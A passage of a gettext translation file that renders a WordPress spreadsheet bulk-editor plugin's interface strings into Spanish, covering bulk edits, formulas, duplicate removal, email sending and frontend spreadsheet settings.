formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: 